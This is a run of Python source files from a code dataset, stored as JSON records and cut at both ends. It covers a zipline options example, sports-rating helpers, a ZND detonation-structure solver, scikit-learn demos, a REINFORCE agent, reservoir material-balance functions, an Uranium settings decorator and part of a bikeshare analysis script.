for _, trade in trades.iterrows():\n sids = trade[\n [\n \"short_call_sid\",\n \"long_call_sid\",\n \"short_put_sid\",\n \"long_put_sid\"\n ]\n ].values\n amounts = trade[\n [\n \"short_call_amount\",\n \"long_call_amount\",\n \"short_put_amount\",\n \"long_put_amount\",\n ]\n ].values\n\n # add the orders\n [order(sid(s), a) for s, a in zip(sids, amounts)]\n\n # track the orders\n context.complex_positions.append(\n [Leg(sid(s), a) for s, a in zip(sids, amounts)]\n )\n\n\ndef analyze(context, perf):\n\n returns, positions, transactions = pf.utils.extract_rets_pos_txn_from_zipline(perf)\n\n round_trip_returns = pf.round_trips.extract_round_trips(\n transactions.drop(\"dt\", axis=1)\n )\n","sub_path":"zipline/examples/buy_option.py","file_name":"buy_option.py","file_ext":"py","file_size_in_byte":20270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"238868517","text":"import os\nimport sys\n\nLOCAL_PATH = os.path.dirname(__file__)\nROOT_PATH = '/'.join(LOCAL_PATH.split('/')[:-1])\nsys.path.append(ROOT_PATH)\n\nfrom string_constants import RATINGS_PURE_POINTS\n\ndef location_coefficient(string):\n coefficients = {\n 'N': 0,\n 'A': -1,\n 'H': 1\n }\n return coefficients[string]\n\ndef location_adjustment(string, home_field_advantage):\n return location_coefficient(string) * home_field_advantage\n\ndef predict_diff(team, game, home_field_advantage):\n own_rating = team.ratings[RATINGS_PURE_POINTS]\n opp_rating = game.opponent.ratings[RATINGS_PURE_POINTS]\n return own_rating - opp_rating + location_adjustment(game.location, home_field_advantage)\n\ndef choose_iter(elements, length):\n for i, _ in enumerate(elements):\n if length == 1:\n yield (elements[i],)\n else:\n for next in choose_iter(elements[i+1:len(elements)], length-1):\n yield (elements[i],) + next\n\ndef choose(pop_size, num_elements_to_choose):\n nums = range(pop_size)\n return list(choose_iter(nums, num_elements_to_choose))\n\ndef calc_product(num_list, loss_list = {}):\n product = 1\n for idx, num in enumerate(num_list):\n if idx in loss_list:\n product = product * (1 - num)\n else:\n product = product * num\n return product\n","sub_path":"processing/game_helpers.py","file_name":"game_helpers.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"262458355","text":"\"\"\"\r\nShock and Detonation Toolbox\r\n\"znd\" module\r\n\r\nCalculates ZND explosions.\r\n \r\nThis module defines the following functions:\r\n\r\n zndsolve\r\n getThermicity\r\n \r\nand the following classes:\r\n \r\n ZNDSys\r\n \r\n################################################################################\r\nTheory, numerical methods and applications are described in the following report:\r\n\r\n Numerical Solution Methods for Shock and Detonation Jump Conditions, S.\r\n Browne, J. Ziegler, and J. E. Shepherd, GALCIT Report FM2006.006 - R3,\r\n California Institute of Technology Revised September, 2018\r\n\r\nPlease cite this report and the website if you use these routines. \r\n\r\nPlease refer to LICENCE.txt or the above report for copyright and disclaimers.\r\n\r\nhttp://shepherd.caltech.edu/EDL/PublicResources/sdt/\r\n\r\n\r\n################################################################################ \r\nUpdated August 2018\r\nTested with: \r\n Python 3.5 and 3.6, Cantera 2.3 and 2.4\r\nUnder these operating systems:\r\n Windows 8.1, Windows 10, Linux (Debian 9)\r\n\"\"\"\r\nimport cantera as ct\r\nimport numpy as np\r\nfrom sdtoolbox.thermo import soundspeed_fr\r\nfrom scipy.integrate import solve_ivp\r\n\r\nclass ZNDSys(object):\r\n def __init__(self,gas,U1,r1):\r\n self.gas = gas\r\n self.U1 = U1\r\n self.r1 = r1\r\n \r\n def __call__(self,t,y): \r\n \"\"\"\r\n Set of ODEs to solve ZND Detonation Problem.\r\n \r\n INPUT:\r\n t = time\r\n y = solution array [pressure, density, position, species mass 1, 2, ..]\r\n gas = working gas object\r\n U1 = shock velocity (m/s)\r\n r1 = initial density (kg/m^3)\r\n \r\n OUTPUT:\r\n An array containing time derivatives of:\r\n pressure, density, distance and species mass fractions, \r\n formatted in a way that the integrator in zndsolve can recognize.\r\n \r\n \"\"\"\r\n self.gas.DPY = y[1],y[0],y[3:]\r\n c = soundspeed_fr(self.gas)\r\n U = self.U1*self.r1/self.gas.density\r\n M = U/c\r\n eta = 1-M**2 \r\n \r\n sigmadot = getThermicity(self.gas)\r\n Pdot = -self.gas.density*U**2*sigmadot/eta\r\n rdot = -self.gas.density*sigmadot/eta\r\n \r\n dYdt = self.gas.net_production_rates*self.gas.molecular_weights/self.gas.density \r\n \r\n return np.hstack((Pdot, rdot, U, dYdt))\r\n\r\n\r\ndef getThermicity(gas):\r\n \"\"\"\r\n Returns the thermicity = sum ( (w/wi-hsi/(cp*T))*dyidt ). Used by zndsys,\r\n as well as the stagnation module.\r\n \r\n FUNCTION SYNTAX:\r\n thermicity = getThermicity(gas)\r\n \r\n INPUT:\r\n gas = Cantera gas object (not modified by this function)\r\n \r\n OUTPUT:\r\n thermicity (1/s)\r\n \"\"\"\r\n w = gas.molecular_weights\r\n hs = gas.standard_enthalpies_RT*ct.gas_constant*gas.T/w\r\n dydt = gas.net_production_rates*w/gas.density\r\n \r\n thermicity = sum((gas.mean_molecular_weight/w\r\n -hs/(gas.cp_mass*gas.T))*dydt)\r\n \r\n return thermicity\r\n\r\n\r\ndef zndsolve(gas,gas1,U1,\r\n t_end=1e-3,max_step=1e-4,t_eval=None,\r\n relTol=1e-5,absTol=1e-8,\r\n advanced_output=False):\r\n \"\"\"\r\n ZND Model Detonation Struction Computation\r\n Solves the set of ODEs defined in ZNDSys.\r\n \r\n FUNCTION SYNTAX:\r\n output = zndsolve(gas,gas1,U1,**kwargs)\r\n \r\n INPUT\r\n gas = Cantera gas object - postshock state\r\n gas1 = Cantera gas object - initial state\r\n U1 = shock velocity (m/s)\r\n \r\n OPTIONAL INPUT:\r\n t_end = end time for integration, in sec\r\n max_step = maximum time step for integration, in sec\r\n t_eval = array of time values to evaluate the solution at.\r\n If left as 'None', solver will select values.\r\n Sometimes these may be too sparse for good-looking plots.\r\n relTol = relative tolerance\r\n absTol = absolute tolerance\r\n advanced_output = calculates optional extra parameters such as induction lengths\r\n \r\n \r\n OUTPUT:\r\n output = a dictionary containing the following results:\r\n time = time array\r\n distance = distance array\r\n \r\n T = temperature array\r\n P = pressure array\r\n rho = density array\r\n U = velocity array\r\n thermicity = thermicity array\r\n species = species mass fraction array\r\n \r\n M = Mach number array\r\n af = frozen sound speed array\r\n g = gamma (cp/cv) array\r\n wt = mean molecular weight array\r\n sonic = sonic parameter (c^2-U^2) array\r\n \r\n tfinal = final target integration time\r\n xfinal = final distance reached\r\n \r\n gas1 = a copy of the input initial state\r\n U1 = shock velocity\r\n \r\n and, if advanced_output=True:\r\n ind_time_ZND = time to maximum thermicity gradient\r\n ind_len_ZND = distance to maximum thermicity gradient\r\n exo_time_ZND = pulse width (in secs) of thermicity (using 1/2 max)\r\n ind_time_ZND = pulse width (in meters) of thermicity (using 1/2 max)\r\n max_thermicity_width_ZND = according to Ng et al definition\r\n \"\"\"\r\n ###########################################################\r\n # Define initial information\r\n ###########################################################\r\n r1 = gas1.density\r\n\r\n x_start = 0.\r\n y0 = np.hstack((gas.P,gas.density,x_start,gas.Y))\r\n\r\n tel = [0.,t_end] # Timespan\r\n \r\n output = {} \r\n \r\n out = solve_ivp(ZNDSys(gas, U1, r1),tel,y0,method='Radau',\r\n atol=absTol,rtol=relTol,max_step=max_step,t_eval=t_eval) \r\n \r\n output['time'] = out.t \r\n output['P'] = out.y[0,:]\r\n output['rho'] = out.y[1,:]\r\n output['distance'] = out.y[2,:]\r\n output['species'] = out.y[3:,:]\r\n \r\n output['tfinal'] = t_end\r\n output['xfinal'] = output['distance'][-1]\r\n \r\n # Initialize additional output matrices where needed\r\n b = len(output['time'])\r\n output['T'] = np.zeros(b)\r\n output['U'] = np.zeros(b)\r\n output['thermicity'] = np.zeros(b)\r\n output['af'] = np.zeros(b)\r\n output['g'] = np.zeros(b)\r\n output['wt'] = np.zeros(b) \r\n if advanced_output:\r\n output['ind_len_ZND'] = 0\r\n output['ind_time_ZND'] = 0\r\n output['exo_len_ZND'] = 0\r\n output['exo_time_ZND'] = 0\r\n \r\n \r\n #############################################################################\r\n # Extract TEMPERATURE, WEIGHT, GAMMA, SOUND SPEED, VELOCITY, MACH NUMBER, \r\n # c^2-U^2, THERMICITY, and TEMPERATURE GRADIENT\r\n #############################################################################\r\n \r\n # Have to loop for operations involving the working gas object\r\n for i,P in enumerate(output['P']):\r\n gas.DPY = output['rho'][i],P,output['species'][:,i]\r\n af = soundspeed_fr(gas)\r\n U = U1*r1/gas.density\r\n \r\n output['T'][i] = gas.T\r\n output['U'][i] = U\r\n output['thermicity'][i] = getThermicity(gas)\r\n output['af'][i] = af\r\n output['g'][i] = gas.cp/gas.cv\r\n output['wt'][i] = gas.mean_molecular_weight\r\n \r\n # Vectorize operations where possible \r\n output['M'] = output['U']/output['af']\r\n eta = 1- output['M']**2\r\n output['sonic'] = eta*output['af']**2\r\n \r\n if advanced_output:\r\n ################################################################################################\r\n # Find INDUCTION TIME and LENGTH based on MAXIMUM THERMICITY\r\n ################################################################################################\r\n n = output['thermicity'].argmax()\r\n \r\n output['ind_time_ZND'] = output['time'][n]\r\n output['ind_len_ZND'] = output['distance'][n]\r\n output['max_thermicity_ZND'] = max(output['thermicity']) # required for Ng et al Chi parameter\r\n \r\n #######################################################\r\n # Check for eigenvalue detonation\r\n #######################################################\r\n \r\n if n == b:\r\n print('Error: Maximum thermicity occurs at the end of the reaction zone')\r\n print(' You may have an eigenvalue detonation, your final integration length may be too short,')\r\n print(' your mixture may be too rich/lean, or something else may be wrong')\r\n print(' ')\r\n print('Mach Number (end of reaction): '+str(output['M'][b])+' - if close to 1, check for eigenvalue detonation')\r\n output['ind_time_ZND'] = output['time'][b]\r\n output['ind_len_ZND'] = output['distance'][b] \r\n output['exo_time_ZND'] = 0 \r\n output['exo_len_ZND'] = 0 \r\n print('Induction Time: '+str(output['ind_time_ZND']))\r\n print('Exothermic Pulse Time: '+str(output['exo_time_ZND']))\r\n return output\r\n \r\n elif n == 0:\r\n print('Error: Maximum thermicity occurs at the beginning of the reaction zone')\r\n print(' You may have an eigenvalue detonation, your final integration length may be too short,')\r\n print(' your mixture may be too rich/lean, or something else may be wrong')\r\n print(' ')\r\n print('Mach Number (end of reaction): '+str(output['M'][b])+' - if close to 1, check for eigenvalue detonation')\r\n output['ind_time_ZND'] = output['time'][0]\r\n output['ind_len_ZND'] = output['distance'][0] \r\n output['exo_time_ZND'] = 0 \r\n output['exo_len_ZND'] = 0 \r\n print('Induction Time: '+str(output['ind_time_ZND']))\r\n print('Exothermic Pulse Time: '+str(output['exo_time_ZND']))\r\n return output\r\n \r\n else:\r\n max_sigmadot = max(output['thermicity'])\r\n half_sigmadot_flag1 = 0\r\n half_sigmadot_flag2 = 0\r\n # Go into a loop to find two times when sigma_dot is half its maximum\r\n tstep2 = 0 # JML temporary\r\n for j,thermicity in enumerate(list(output['thermicity'])):\r\n if half_sigmadot_flag1 == 0:\r\n if thermicity > 0.5*max_sigmadot:\r\n half_sigmadot_flag1 = 1\r\n tstep1 = j\r\n \r\n elif half_sigmadot_flag2 == 0:\r\n if thermicity < 0.5*max_sigmadot:\r\n half_sigmadot_flag2 = 1\r\n tstep2 = j\r\n else:\r\n tstep2 = 0\r\n \r\n \r\n if tstep2 == 0:\r\n print('Error: No pulse in the thermicity')\r\n print(' You may have an eigenvalue detonation, your final integration length may be too short,')\r\n print(' your mixture may be too rich/lean, or something else may be wrong') \r\n output['exo_time_ZND'] = 0\r\n output['exo_len_ZND'] = 0 \r\n else:\r\n output['exo_time_ZND'] = output['time'][tstep2] - output['time'][tstep1]; \r\n output['exo_len_ZND'] = output['distance'][tstep2] - output['distance'][tstep1]\r\n \r\n \r\n #################################################################\r\n # Append extra data used to make output file (via znd_fileout)\r\n output['gas1'] = gas1\r\n output['U1'] = U1\r\n \r\n \r\n return output\r\n \r\n","sub_path":"sdtoolbox/znd.py","file_name":"znd.py","file_ext":"py","file_size_in_byte":11659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"294802338","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 27 14:22:35 2017\n\n@author: 凯风\n\"\"\"\n\nfrom sklearn.datasets import load_iris\nfrom sklearn.svm import SVC\n\nfrom sklearn.model_selection import cross_val_score # 通过交叉验证获得模型分数\n\nfrom sklearn.model_selection import ShuffleSplit # 以下这些是不同的交叉验证的方法\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import LeaveOneGroupOut # 比较特殊的一个是分组方法,要记得有一个groups数组来保存分类标识\nfrom sklearn.model_selection import TimeSeriesSplit # 另外一个是关于时间序列的处理\n\ndataSet = load_iris()\nX = dataSet.data\nY = dataSet.target\nclf = SVC(kernel='linear',C=1) # 随便创建个分类器\n\n'''\n 交叉验证的分数指标:\n 就是选取数据集中的一部分进行训练,另一部分来预测\n 重要的是cv,选择几折\n 次重要的应该算是挑选数据集中部分的方法,可能遇见的有:分层抽样、分组抽样、随机抽样、有放回抽样等等吧\n 针对不同的模型应该要选择不同的抽样��法才对\n'''\n\ncv1 = ShuffleSplit(n_splits=3,test_size=0.3,random_state=0)\ncv2 = StratifiedKFold(n_splits=3,shuffle=False,random_state=None) # 创建迭代器\n\nscores1 = cross_val_score(clf , X , Y , cv = 5 , groups = None, \n scoring = None, n_jobs = 1, \n verbose = 0, fit_params = None, \n pre_dispatch='2*n_jobs')\n\nscores2 = cross_val_score(clf , X , Y , cv = cv1 , groups = None, \n scoring = None, n_jobs = 1, \n verbose = 0, fit_params = None, \n pre_dispatch='2*n_jobs')\n\nscores3 = cross_val_score(clf , X , Y , cv = cv2 , groups = None, \n scoring = None, n_jobs = 1, \n verbose = 0, fit_params = None, \n pre_dispatch='2*n_jobs')\n\nscores1.mean()\nscores2.mean()\nscores3.mean()\n\n'''\n estimator ——模型,未训练的可以\n X ——数据集\n y ——目标变量\n groups ——通过数组把数据分成测试集和训练集\n scoring ——字符串,可以是不同的分数,比如精确度、F1、AUC等等\n cv ——最重要的,确定分几折,默认3折,也可以接受迭代器\n n_jobs ——执行任务的时候,CPU的占用数\n verbose ——不太了解..\n fit_params ——一个字典,可以在这里补充模型的某些参数!good\n pre_dispatch ——CV本身是并行计算,所以这个参数是控制作业数的应该\n'''\n","sub_path":"Model_selection/cross_validation/cross_val_score.py","file_name":"cross_val_score.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"396278722","text":"from GeneralModel.genetal_agent import GeneralAgent\nimport gym\nimport torch\nimport numpy as np\n\n\nclass ReinforceAgent(GeneralAgent):\n def __init__(self,\n gamma,\n action_number,\n episodes,\n max_episode_step,\n load_model,\n path_to_load,\n path_to_save,\n plot_to_save,\n episode_to_save,\n model_type\n ):\n super().__init__(gamma=gamma,\n action_number=action_number,\n path_to_load=path_to_load,\n path_to_save=path_to_save,\n load_model=load_model,\n episode_to_save=episode_to_save,\n episodes=episodes,\n plots_to_save=plot_to_save,\n model_type=model_type\n )\n\n self.numsteps = []\n self.avg_numsteps = []\n self.all_rewards = []\n self.max_episode_steps = max_episode_step\n\n def update_policy(self, rewards, log_probs):\n discounted_rewards = []\n\n for t in range(len(rewards)):\n Gt = 0\n pw = 0\n for r in rewards[t:]:\n Gt = Gt + self.gamma ** pw * r\n pw = pw + 1\n discounted_rewards.append(Gt)\n\n discounted_rewards = torch.tensor(discounted_rewards)\n discounted_rewards = (discounted_rewards - discounted_rewards.mean()) / (\n discounted_rewards.std() + 1e-9) # normalize discounted rewards\n\n policy_gradient = []\n for log_prob, Gt in zip(log_probs, discounted_rewards):\n policy_gradient.append(-log_prob * Gt)\n\n self.model.optimizer.zero_grad()\n policy_gradient = torch.stack(policy_gradient).sum()\n policy_gradient.backward()\n self.model.optimizer.step()\n\n def train(self, env: gym.wrappers.time_limit.TimeLimit):\n total_reward = 0\n episode_reward = 0\n for episode in self.trangle:\n\n self.trangle.set_description(\n f\"Episode: {episode} | Episode Reward {episode_reward} | | Average Reward {total_reward / (episode + 1)}\"\n )\n\n self.save_all(episode)\n state = env.reset()\n log_probs = []\n rewards = []\n episode_reward = 0\n\n for steps in range(self.max_episode_steps):\n state = self.preprocess_observation(state)\n action, log_prob = self.model.get_action(state)\n new_state, reward, done, _ = env.step(action)\n total_reward += reward\n log_probs.append(log_prob)\n rewards.append(reward)\n episode_reward += reward\n if done:\n self.update_policy(rewards, log_probs)\n self.numsteps.append(steps)\n self.avg_numsteps.append(np.mean(self.numsteps[-10:]))\n self.all_rewards.append(np.sum(rewards))\n self.rewards.append(episode_reward)\n break\n state = new_state\n","sub_path":"REINFORCE/reinforce_agent.py","file_name":"reinforce_agent.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270721227","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.model_selection import train_test_split \nfrom sklearn.datasets import load_breast_cancer\nimport scikitplot as skplt\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.model_selection import cross_validate\n\n# Load the data\ncancer = load_breast_cancer()\n\nX_train, X_test, y_train, y_test = train_test_split(cancer.data,cancer.target,random_state=0)\nprint(X_train.shape)\nprint(X_test.shape)\n#now scale the data\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\nscaler.fit(X_train)\nX_train_scaled = scaler.transform(X_train)\nX_test_scaled = scaler.transform(X_test)\n\ngd_clf = GradientBoostingClassifier(max_depth=3, n_estimators=100, learning_rate=1.0) \ngd_clf.fit(X_train_scaled, y_train)\n#Cross validation\naccuracy = cross_validate(gd_clf,X_test_scaled,y_test,cv=10)['test_score']\nprint(accuracy)\nprint(\"Test set accuracy with Random Forests and scaled data: {:.2f}\".format(gd_clf.score(X_test_scaled,y_test)))\n\nimport scikitplot as skplt\ny_pred = gd_clf.predict(X_test_scaled)\nskplt.metrics.plot_confusion_matrix(y_test, y_pred, normalize=True)\nplt.show()\ny_probas = gd_clf.predict_proba(X_test_scaled)\nskplt.metrics.plot_roc(y_test, y_probas)\nplt.show()\nskplt.metrics.plot_cumulative_gain(y_test, y_probas)\nplt.show()\n","sub_path":"doc/src/DecisionTrees/Programs/gdclas.py","file_name":"gdclas.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"484210885","text":"\"Material Balance for Gas-Condensate Reservoirs\"\n\ndef condensate_belowdew(Bg, Bo, Rs, Rv, p, cw, cf, sw, We, Bw, Wp, Wi, Np, Gp, Gi):\n \"Condensate reservoir material balance below dewpoint\"\n Rsi, Rvi = Rs[0], Rv[0]\n Bgi, pi = Bg[0], p[0]\n deltaP = p - pi\n\n Btg = ((Bg * (1 - (Rs * Rvi))) + (Bo * (Rvi - Rv))) / (1 - (Rv * Rs))\n Bto = ((Bo * (1 - (Rv * Rsi))) + (Bg * (Rsi - Rs))) / (1 - (Rv * Rs))\n Eg = Btg - Bgi\n Efw = ((cf + (cw * sw)) / (1 - sw)) * deltaP\n deltaW = We - (Bw * (Wp - Wi))\n F = (Np * ((Bo - (Rs * Bg)) / (1 - (Rv * Rs)))) + ((Gp - Gi) * ((Bg - (Rv * Bo)) / (1 - (Rv * Rs))))\n return(F)\n\ndef condensate_abovedew(Bg, Rv, p, cw, cf, sw, We, Bw, Wp, Wi, Np, Gp, Gi):\n \"Condensate reservoir material balance above dewpoint\"\n Rvi = Rv[0]\n Rs = 1 / Rvi # theoretical\n Bo = Bg * Rs # theoretical\n\n Bgi, pi = Bg[0], p[0]\n deltaP = p - pi\n\n Eg = Bg - Bgi\n Efw = ((cf + (cw * sw)) / (1 - sw)) * deltaP\n deltaW = We - (Bw * (Wp - Wi))\n F = Bg * (Gp - Gi)\n return(F)\n","sub_path":"Unit 10 Gas-Condensate Reservoirs/functions/materialbalance.py","file_name":"materialbalance.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"33852590","text":"# Copyright (c) 2015 Ultimaker B.V.\n# Uranium is released under the terms of the AGPLv3 or higher.\n\nfrom UM.Scene.SceneNodeDecorator import SceneNodeDecorator\nfrom UM.Signal import Signal, SignalEmitter\nfrom UM.Application import Application\n\nfrom copy import deepcopy\n\n## A decorator that can be used to override individual setting values.\nclass SettingOverrideDecorator(SceneNodeDecorator, SignalEmitter):\n def __init__(self):\n super().__init__()\n\n self._settings = {}\n self._setting_values = {}\n\n self._temp_values = {}\n\n settingAdded = Signal()\n settingRemoved = Signal()\n settingValueChanged = Signal()\n\n def getAllSettings(self):\n return self._settings\n\n def getAllSettingValues(self):\n self._temp_values = {}\n instance = Application.getInstance().getMachineManager().getActiveMachineInstance()\n for key in self._settings:\n setting = instance.getMachineDefinition().getSetting(key)\n if key in self._setting_values:\n self._temp_values[key] = setting.parseValue(self._setting_values[key])\n\n for required_by_key in self._getDependentSettingKeys(key):\n if required_by_key not in self._temp_values:\n self._temp_values[required_by_key] = instance.getMachineDefinition().getSetting(required_by_key).getDefaultValue(self)\n\n self._temp_values[key] = setting.getDefaultValue(self)\n\n values = self._temp_values\n self._temp_values = {}\n return values\n\n def addSetting(self, key):\n instance = Application.getInstance().getMachineManager().getActiveMachineInstance()\n\n setting = instance.getMachineDefinition().getSetting(key)\n if not setting:\n return\n\n self._settings[key] = setting\n\n self.settingAdded.emit()\n Application.getInstance().getController().getScene().sceneChanged.emit(self.getNode())\n\n ## Recursively find all settings that directly or indirectly depend on certain setting.\n def _getDependentSettingKeys(self, key):\n required_setting_keys = set()\n instance = Application.getInstance().getMachineManager().getActiveMachineInstance()\n setting = instance.getMachineDefinition().getSetting(key)\n for dependent_key in setting.getRequiredBySettingKeys():\n required_setting_keys.add(dependent_key)\n required_setting_keys.update(self._getDependentSettingKeys(dependent_key))\n return required_setting_keys\n\n def setSettingValue(self, key, value):\n if key not in self._settings:\n return\n\n self._setting_values[key] = value\n self.settingValueChanged.emit(self._settings[key])\n Application.getInstance().getController().getScene().sceneChanged.emit(self.getNode())\n\n def getSetting(self, key):\n if key not in self._settings:\n parent = self._node.getParent()\n # It could be that the parent does not have a decoration but it's parent parent does. \n while parent is not None:\n if parent.hasDecoration(\"getSetting\"):\n return parent.callDecoration(\"getSetting\")\n else:\n parent = parent.getParent()\n else:\n return self._settings[key]\n\n def getSettingValue(self, key):\n if key not in self._settings and key not in self._temp_values:\n if self.getNode().callDecoration(\"getProfile\"):\n return self.getNode().callDecoration(\"getProfile\").getSettingValue(key)\n\n return Application.getInstance().getMachineManager().getWorkingProfile().getSettingValue(key)\n\n if key in self._temp_values:\n return self._temp_values[key]\n\n setting = self._settings[key]\n\n if key in self._setting_values:\n return setting.parseValue(self._setting_values[key])\n\n return setting.getDefaultValue(self)\n\n def removeSetting(self, key):\n if key not in self._settings:\n return\n\n del self._settings[key]\n\n if key in self._setting_values:\n del self._setting_values[key]\n\n self.settingRemoved.emit()\n Application.getInstance().getController().getScene().sceneChanged.emit(self.getNode())\n","sub_path":"UM/Settings/SettingOverrideDecorator.py","file_name":"SettingOverrideDecorator.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"410573049","text":"import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!\\n')\n\n\n # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n \"\"\"Get user input for city (Chicago, New York City, Washington)\"\"\"\n while True:\n city = input(\"Please type the name of the city for which you would like to get data. \\nAvailable cities: Chicago, New York City, Washington\\n\").lower()\n if city in ('chicago', 'new york city', 'washington'):\n break\n else:\n print(\"\\n\" + \"Sorry, I did not get that. Please try again! \\nHint: Be aware of correct spelling.\\n\")\n\n # TO DO: get user input for month (all, january, february, ... , june)\n \"\"\"Get user input for month (January, February, March, April, May, June) or let her choose 'all' if no filter should be applied.\"\"\"\n while True:\n month = input(\"\\nPlease type the month for which you would like to get data (January, February, March, April, May, or June)...\\n...or type \\'all\\' if you want data for the entire period.\\n\").lower()\n if month in ('january', 'february', 'march', 'april', 'may', 'june', 'all'):\n break\n else:\n print(\"\\n\" + \"Sorry, I did not get that. Please try again! \\nHint: Be aware of correct spelling.\\n\")\n\n print('-'*40)\n print()\n print(\"You chose {} as a filter for city, {} as a filter for month, and {} as a filter for day of week.\".format(city.upper(), month.upper(), day.upper()))\n print(\"Let\\'s take a look at the data... :-)\")\n print()\n print('-'*40)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n\n \"\"\"loading data into our Pandas DataFrame\"\"\"\n df = pd.read_csv(CITY_DATA[city])\n\n \"\"\"converting the Start Time column in the respective csv to datetime\"\"\"\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n \"\"\"Extracting the month number and weekday name into separate columns using the datetime module\"\"\"\n df['month'] = df['Start Time'].dt.month\n df['day_of_week'] = df['Start Time'].dt.weekday_name\n\n \"\"\"Filter by month if applicable; converting month into corresponding month number\"\"\"\n if month != 'all':\n \"\"\"use the index of the months list to get the corresponding int\"\"\"\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month) + 1\n \"\"\"filter by month to create the new dataframe\"\"\"\n df = df[df['month'] == month]\n \"\"\"filter by day of week if applicable\"\"\"\n if day != 'all':\n \"\"\"filter by day of week to create the new dataframe\"\"\"\n df = df[df['day_of_week'] == day.title()]\n\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # TO DO: display the most common month\n \"\"\"Display the most common month; use .mode()[0] to identify the most common value of discrete data\"\"\"\n most_common_month = df['month'].mode()[0]\n print(\"Most common month: \", most_common_month)\n\n # TO DO: display the most common day of week\n \"\"\"Display the most common day of week\"\"\"\n most_common_day_of_week = df['day_of_week'].mode()[0]\n print(\"Most common day of week: \", most_common_day_of_week)\n\n # TO DO: display the most common start hour\n \"\"\"Display the most common start hour; first, extract hour from the Start Time column to create an hour column; according to Practice Problem #1\"\"\"\n df['hour'] = df['Start Time'].dt.hour\n most_common_hour = df['hour'].mode()[0]\n print(\"Most common start hour: \", most_common_hour)\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # TO DO: display most commonly used start station\n \"\"\"display most commonly used start station\"\"\"\n most_common_start_station = df['Start Station'].value_counts().idxmax('index')\n print(\"Most commonly used start station: \", most_common_start_station)\n\n # TO DO: display most commonly used end station\n \"\"\"display most commonly used end station\"\"\"\n most_common_end_station = df['End Station'].value_counts().idxmax('index')\n print(\"Most commonly used end station: \", most_common_end_station)\n\n # TO DO: display most frequent combination of start station and end station trip\n \"\"\"display most frequent combination of start station and end station\"\"\"\n most_common_combination_station = df.groupby(['Start Station', 'End Station']).count()\n print(\"Most commonly occuring combination: {} - {}\".format(most_common_start_station, most_common_end_station))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # TO DO: display total travel time\n \"\"\"Displaying total travel time (in seconds)\"\"\"\n total_travel_time = df['Trip Duration'].sum()\n print(\"Total travel time (in sec.): \", total_travel_time)\n\n # TO DO: display mean travel time\n \"\"\"Displaying mean travel time (in seconds)\"\"\"\n mean_travel_time = df['Trip Duration'].mean()\n print(\"Mean travel time (in sec.): \", mean_travel_time)\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # TO DO: Display counts of user types\n \"\"\"print value counts for each user type; using value_counts() function to return a Series containing counts of unique values, here: user types; according to Practice Problem #2; use 'try' to account for possibly missing data in the table because otherwise you might run into KeyError\"\"\"\n try:\n counts_of_user_types = df['User Type'].value_counts()\n #print(user_types)\n print(\"\\n\" + \"Counts of user types:\\n\", counts_of_user_types)\n except KeyError:\n print(\"\\n\" + \"Counts of user types: No data available for this filter.\")\n\n # TO DO: Display counts of gender\n \"\"\"\"Displaying counts of gender; use 'try' to account for possibly missing data in the table\"\"\"\n try:\n counts_of_gender = df['Gender'].value_counts()\n print(\"\\n\" + \"Counts of gender types:\\n \", counts_of_gender)\n except KeyError:\n print(\"\\n\" + \"Counts of gender types: No data available for this filter.\")\n\n # TO DO: Display earliest, most recent, and most common year of 